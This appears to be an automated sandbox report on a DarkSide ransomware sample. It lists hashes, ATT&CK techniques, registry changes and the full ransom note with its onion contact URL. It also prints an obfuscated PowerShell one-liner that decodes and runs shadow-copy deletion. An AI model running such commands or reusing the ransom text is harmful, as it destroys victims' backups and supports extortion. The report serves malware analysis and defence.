darkside | 0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d

General

Target
sub_0839aabe5fd6.exe
Size 59KB
Sample260524-b3mxhsd15r
SHA256 0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d
MD5 885fc8fb590b899c1db7b42fe83dddc3
SHA1 c104056f9a926d27a2082f0510c97b09cb0eb3e5
SHA512 2b8e49ad84434dcaf98635120ac54bfa7e55bb61bf9d0e3f1f25ab81e950f638311d2121217bf5840834778d5e137551e24b89da02f12dc6be99d755c54f4c13
SSDEEP 768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3XsY23W58:0x7Fu4/ihrhDTV1ylHXZ58
TLSH
T164435D3D33E1D1BBEE640AB51D8D3B7382996F3139629D17C2641F64A2B0D379A2740B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.39402483.TXT

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

Family: DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (113) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4944	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\39402483.BMP"	sub_0839aabe5fd6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\39402483.BMP"	sub_0839aabe5fd6.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sub_0839aabe5fd6.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Control Panel\Desktop\WallpaperStyle = "10"	sub_0839aabe5fd6.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.39402483\ = "39402483"	sub_0839aabe5fd6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\39402483\DefaultIcon	sub_0839aabe5fd6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\39402483	sub_0839aabe5fd6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\39402483\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\39402483.ico"	sub_0839aabe5fd6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.39402483	sub_0839aabe5fd6.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4944	powershell.exe
4944	powershell.exe
2744	sub_0839aabe5fd6.exe
2744	sub_0839aabe5fd6.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2744	sub_0839aabe5fd6.exe
Token: SeSecurityPrivilege	2744	sub_0839aabe5fd6.exe
Token: SeTakeOwnershipPrivilege	2744	sub_0839aabe5fd6.exe
Token: SeLoadDriverPrivilege	2744	sub_0839aabe5fd6.exe
Token: SeSystemProfilePrivilege	2744	sub_0839aabe5fd6.exe
Token: SeSystemtimePrivilege	2744	sub_0839aabe5fd6.exe
Token: SeProfSingleProcessPrivilege	2744	sub_0839aabe5fd6.exe
Token: SeIncBasePriorityPrivilege	2744	sub_0839aabe5fd6.exe
Token: SeCreatePagefilePrivilege	2744	sub_0839aabe5fd6.exe
Token: SeBackupPrivilege	2744	sub_0839aabe5fd6.exe
Token: SeRestorePrivilege	2744	sub_0839aabe5fd6.exe
Token: SeShutdownPrivilege	2744	sub_0839aabe5fd6.exe
Token: SeDebugPrivilege	2744	sub_0839aabe5fd6.exe
Token: SeSystemEnvironmentPrivilege	2744	sub_0839aabe5fd6.exe
Token: SeRemoteShutdownPrivilege	2744	sub_0839aabe5fd6.exe
Token: SeUndockPrivilege	2744	sub_0839aabe5fd6.exe
Token: SeManageVolumePrivilege	2744	sub_0839aabe5fd6.exe
Token: 33	2744	sub_0839aabe5fd6.exe
Token: 34	2744	sub_0839aabe5fd6.exe
Token: 35	2744	sub_0839aabe5fd6.exe
Token: 36	2744	sub_0839aabe5fd6.exe
Token: SeDebugPrivilege	4944	powershell.exe
Token: SeBackupPrivilege	2504	vssvc.exe
Token: SeRestorePrivilege	2504	vssvc.exe
Token: SeAuditPrivilege	2504	vssvc.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 4944	2744	sub_0839aabe5fd6.exe	81

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\sub_0839aabe5fd6.exe
"C:\Users\Admin\AppData\Local\Temp\sub_0839aabe5fd6.exe"
1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4944

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2504

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials from Password Stores

2

T1555

Credentials from Web Browsers

1

T1555.003

Windows Credential Manager

1

T1555.004

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

1

T1217

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
MD5 aa0a32b11dca7b04f4cc5fe8c55cb357
SHA1 00e354fd0754a7d721a270cdc08f970b9a3f6605
SHA512 1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30
TLSH
T1F661DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 35c01fbbe6381bb7a2e4cb7045b40aded20ae99df6022205ec5e972399cc5db4
MD5 60e7cd795aff12805e5841a3751bf12f
SHA1 3f65ec950635bf4297c374544c2e62597e12124b
SHA512 317c11a18446b7314c8313e1932253b4225ff290302449828cb4832957640089b0f276947fd6196d4bf6b063d94393bc00b9d3dee377c94136e06de0c660932c
TLSH
T1A0218633B3ACC134C8D9117A208CAD01B2B1C3C7449ECE8B7B84C508A57F98ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_rgdb2rfv.kfc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rgdb2rfv.kfc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

README.39402483.TXT

Path C:\Users\Admin\README.39402483.TXT
Size 1KB
SHA256 7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c
MD5 d4e176b40c4ea17f4870c34fad926d6e
SHA1 2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0
SHA512 feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471
TLSH
T1FA41976F6F2820015AD1E7F33B58CE62E75A03A8A12D4A5E7E467464431A772553F228
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4944-1-0x000002D29B160000-0x000002D29B170000-memory.dmp

Download

memory/4944-2-0x000002D29B160000-0x000002D29B170000-memory.dmp

Download

memory/4944-9-0x000002D2FFB30000-0x000002D2FFB52000-memory.dmp

Download

memory/4944-10-0x000002D29B160000-0x000002D29B170000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads